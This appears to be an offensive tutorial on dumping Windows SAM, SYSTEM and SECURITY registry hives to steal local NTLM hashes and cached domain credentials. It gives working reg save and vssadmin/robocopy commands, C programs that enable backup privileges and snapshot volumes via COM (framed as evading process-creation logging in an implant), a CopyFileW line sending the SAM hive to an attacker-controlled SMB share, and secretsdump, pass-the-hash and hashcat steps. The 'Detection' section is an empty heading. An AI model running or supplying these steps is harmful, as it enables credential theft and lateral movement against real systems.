SAM / SYSTEM / SECURITY Hive Extraction

Extracting locked registry hive files to recover local account NTLM hashes — via reg save, VSS snapshot robocopy, and programmatic C implementation — even when lsass-based approaches are blocked

Hive Overview — What Each File Contains

Why the Hive Files Are Locked

The Windows registry service (services.exe → regsvc.dll) holds open exclusive file handles to all mounted hive files. Attempting to open C:\Windows\System32\config\SAM directly via CreateFile returns ERROR_SHARING_VIOLATION (32). Three approaches work around this:

Method 1: reg save — Simplest Approach

reg.exe save calls the registry API (RegSaveKey internally) to export a live hive to a file. Unlike directly opening the hive file, this goes through the registry service which holds the lock, making it legal. This requires local administrator rights and SeBackupPrivilege (automatically held by Administrators):

-- Command line --
reg save HKLM\SAM      C:\Windows\Temp\sam.bak      /y
reg save HKLM\SYSTEM   C:\Windows\Temp\system.bak   /y
reg save HKLM\SECURITY C:\Windows\Temp\security.bak /y

-- Then exfiltrate all three files --
-- Parse offline (see below) --

-- C implementation using RegSaveKeyExA --

#include <windows.h>
#include <stdio.h>

// Enable SeBackupPrivilege — required for RegSaveKey on SAM/SECURITY
BOOL EnableBackupPrivilege() {
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

    TOKEN_PRIVILEGES tp;
    LookupPrivilegeValueA(NULL, "SeBackupPrivilege", &tp.Privileges[0].Luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hToken);
    return (GetLastError() == ERROR_SUCCESS);
}

BOOL SaveHive(HKEY rootKey, const char *subkey, const char *outPath) {
    HKEY hKey;
    LONG err = RegOpenKeyExA(rootKey, subkey,
                              REG_OPTION_BACKUP_RESTORE | REG_OPTION_OPEN_LINK,
                              READ_CONTROL, &hKey);
    if (err != ERROR_SUCCESS) {
        fprintf(stderr, "[-] RegOpenKeyEx(%s) failed: %ld\n", subkey, err);
        return FALSE;
    }

    // Delete existing file to avoid ERROR_ALREADY_EXISTS
    DeleteFileA(outPath);

    err = RegSaveKeyExA(hKey, outPath, NULL, REG_LATEST_FORMAT);
    RegCloseKey(hKey);

    if (err != ERROR_SUCCESS) {
        fprintf(stderr, "[-] RegSaveKeyEx(%s) failed: %ld\n", subkey, err);
        return FALSE;
    }
    printf("[+] Saved: %s -> %s\n", subkey, outPath);
    return TRUE;
}

int main() {
    EnableBackupPrivilege();

    SaveHive(HKEY_LOCAL_MACHINE, "SAM",      "C:\\Windows\\Temp\\s1.bak");
    SaveHive(HKEY_LOCAL_MACHINE, "SYSTEM",   "C:\\Windows\\Temp\\s2.bak");
    SaveHive(HKEY_LOCAL_MACHINE, "SECURITY", "C:\\Windows\\Temp\\s3.bak");

    puts("[+] Done — exfil s1.bak, s2.bak, s3.bak then run secretsdump");
    return 0;
}

Method 2: VSS Shadow Copy — Access Hive Files Directly

Volume Shadow Copy Service (VSS) creates point-in-time snapshots of volumes. Within a shadow copy, all files — including locked hive files — appear as normal readable files because the snapshot bypasses the live OS file locks. This is how backup software reads open files:

-- Create shadow copy and copy hive files --

Step 1: Create shadow copy of C:\
vssadmin create shadow /for=C:
  Output includes shadow copy device path, e.g.:
  \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3

Step 2: Copy locked hive files from shadow
robocopy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config" C:\Windows\Temp SAM SYSTEM SECURITY /B

  /B flag = backup mode (uses SeBackupPrivilege, bypasses ACL restrictions)

Step 3: Delete shadow copy (clean up)
vssadmin delete shadows /shadow={GUID} /quiet

C Implementation — Full VSS Via COM

Triggering VSS programmatically from C uses the VSS COM interface. This avoids spawning vssadmin.exe (which generates a clear process-creation event) and integrates directly into your implant:

#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#pragma comment(lib, "vssapi.lib")
#pragma comment(lib, "ole32.lib")

BOOL VSSCopyHives(const char *outDir) {
    CoInitialize(NULL);

    IVssBackupComponents *vss = NULL;
    HRESULT hr = CreateVssBackupComponents(&vss);
    if (FAILED(hr)) { CoUninitialize(); return FALSE; }

    vss->InitializeForBackup();
    vss->SetBackupState(FALSE, FALSE, VSS_BT_COPY, FALSE);

    IVssAsync *async = NULL;
    vss->GatherWriterMetadata(&async);
    async->Wait(); async->Release();

    // Add volume C: to snapshot set
    VSS_ID snapSetId;
    vss->StartSnapshotSet(&snapSetId);
    VSS_ID snapId;
    vss->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);

    // Prepare and execute snapshot
    vss->PrepareForBackup(&async); async->Wait(); async->Release();
    vss->DoSnapshotSet(&async);   async->Wait(); async->Release();

    // Get snapshot device path
    VSS_SNAPSHOT_PROP prop;
    vss->GetSnapshotProperties(snapId, &prop);
    // prop.m_pwszSnapshotDeviceObject = L"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3"

    // Build source paths for each hive and copy with CopyFileW
    const WCHAR *hives[] = { L"SAM", L"SYSTEM", L"SECURITY" };
    WCHAR srcPath[512], dstPath[512];
    for (int i = 0; i < 3; i++) {
        swprintf_s(srcPath, 512, L"%s\\Windows\\System32\\config\\%s",
                   prop.m_pwszSnapshotDeviceObject, hives[i]);
        swprintf_s(dstPath, 512, L"%S\\%s.bak", outDir, hives[i]);
        CopyFileW(srcPath, dstPath, FALSE);
    }

    // Delete snapshot (cleanup)
    VSS_ID deletedId; LONG delCount;
    vss->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &delCount, &deletedId);

    vss->Release();
    VssFreeSnapshotProperties(&prop);
    CoUninitialize();
    return TRUE;
}

Remote Exfil Without Local File — Copy Directly to Share

If writing to disk on the target is undesirable, the shadow copy path can be used as a source for a direct network copy. CopyFileW accepts UNC paths for the destination, so the hive files can land directly on an attacker-controlled SMB share without ever existing as files on the target's local filesystem:

// Direct-to-share copy — hive file never lands on local disk
CopyFileW(
    L"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy3\\Windows\\System32\\config\\SAM",
    L"\\\\attacker-smb\\share\\sam_target01.bak",  // attacker SMB share
    FALSE
);

// Or use reg save directly to a network path:
// reg save HKLM\SAM \\attacker-smb\share\sam.bak /y
// Note: reg save to UNC requires the share to be accessible from the SYSTEM account's context

Offline Hash Extraction

With all three hive files in hand, hash extraction is performed offline using impacket's secretsdump or CrackMapExec. No Windows machine required — secretsdump runs on Linux:

# impacket secretsdump — offline mode (no network connection to target)
python3 secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL

# Output:
# Impacket vX.X.X - Copyright 2022 SecureAuth Corporation
# [*] Target system bootKey: 0x3bab0d53a3c26cc8e2efab09c3f2e2bd
# [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# [*] Dumping cached domain logon information (domain/username:hash)
# CORP/victim:$DCC2$10240#victim#a72d26b...
# [*] Dumping LSA Secrets
# DPAPI_SYSTEM: ...
# _SC_service_account: ...

# Use hashes for pass-the-hash (no cracking needed):
crackmapexec smb TARGET_IP -u Administrator -H 32ed87bdb5fdc5e9cba88547376818d4

# Crack NT hashes with hashcat:
hashcat -m 1000 hashes.txt rockyou.txt --rules-file best64.rule

# Crack mscache2 (DCC2) — slower, salted with username:
hashcat -m 2100 '$DCC2$10240#victim#a72d26b...' rockyou.txt

Detection

Q&A